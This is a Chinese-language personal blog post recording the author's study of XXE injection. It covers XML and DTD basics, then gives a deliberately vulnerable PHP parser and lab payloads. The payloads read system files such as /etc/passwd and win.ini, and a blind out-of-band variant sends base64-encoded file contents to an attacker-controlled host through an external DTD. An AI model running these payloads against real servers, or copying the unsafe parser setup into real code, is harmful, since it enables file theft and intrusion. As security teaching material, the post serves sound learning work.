xxe(xml外部实体注入)学习


一、前言

由于刚好学到这一块的知识,所以先记录一下,还需要不断努力呀。

二、xml

1、概述

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准

2、xml与html区别

(1)XML 不是 HTML 的替代。
(2)XML 和 HTML 为不同的目的而设计:

  • XML 被设计为传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

3、注意的点

(1)所有 XML 元素都须有关闭标签如:<p>This is a paragraph</p>
(2)XML 标签对大小写敏感
(3)XML 文档必须有根元素
(4)XML 的属性值须加引号
等等,总之xml格式是非常严谨的

4、一个典型的xml文档

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->          
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素-->                                                                          
<foo>&xxe;</foo>

运行结果:

三、DTD

1、概述

XML文档类型声明(通常称为DTD)是一种精确描述XML语言的方法。DTD根据相应XML语言的语法规则检查XML文档的结构和词汇的有效性。

2、实体

XML中实体分成五类:字符实体、命名实体、外部实体、参数实体、内部实体。下面就写常用的实体

3、内部实体

如果在DTD中声明实体,则称为内部实体。
(1)语法
<!ENTITY entity_name "entity_value">
解释:
entity_name是实体的名称,后跟双引号或单引号中的值。entity_value保存实体名称的值。通过向实体名称(即&entity_name)添加前缀&来取消引用内部实体的实体值。
(2)示例

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a;</note>

运行结果:

4、参数实体

参数实体的目的是能够创建替换文本的可重用部分。
语法:
<!ENTITY % ename "entity_value">
解释:entity_value是任何不是&%"这几个字符。
参数实体用% ename申明,引用时用%ename;,只能在DTD中申明,DTD中引用。

5、外部实体

(1)外部实体

<!DOCTYPE note [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
]>
<note>&c</note>

(2)外部参数实体(常用于无回显xxe)
插入代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://127.0.0.1/xml.dtd"> 

%d;
]>
<value>&a;</value>

http://127.0.0.1/xxe_file.dtd中的代码:

<!ENTITY a "hello_world">

四、XXE

1、概述

简单来说,XXE(XML External Entity Injection)就是 XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可能导致任意文件读取,系统命令执行、内网端口探测、攻击内网网站等危害。

2、xxe常见后端代码

<?php
    libxml_disable_entity_loader(false);   //True不允许加载外部实体 ,false允许加载外部实体
    $xmlfile = file_get_contents('php://input');  // 将整个文件读入一个字符串,post方式提交数据
    $dom = new DOMDocument();                     //创建一个html或者xml或者文件树对象
    $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);  //解析xml文件
    $creds = simplexml_import_dom($dom);            //将DOM节点转化为simpleXMLElement对象
    echo $creds;
?>

五、实验

使用上面常见后端代码做一些实验

1、获取敏感信息

(1)抓包
(2)改变为post方法
(3)插入代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<creds>&xxe;</creds>

(4)查看结果

2、返回信息为base64

(1)抓包
(2)改为post方法
(3)插入代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">]>
<creds>&xxe;</creds>

(4)查看结果

3、无回显

(1)抓包
(2)改为post方法
(3)插入代码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file://C:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.52.133/xxe_file.dtd">
%dtd;
%send;
]>

http://192.168.52.133/xxe_file.dtd 中的代码为:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.52.133:333/?%file;'>" >
%all;

注:http://192.168.52.133是被攻击的主机能访问到的地址
(4)查看结果


文章作者: xi3w3n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xi3w3n !
评论
  目录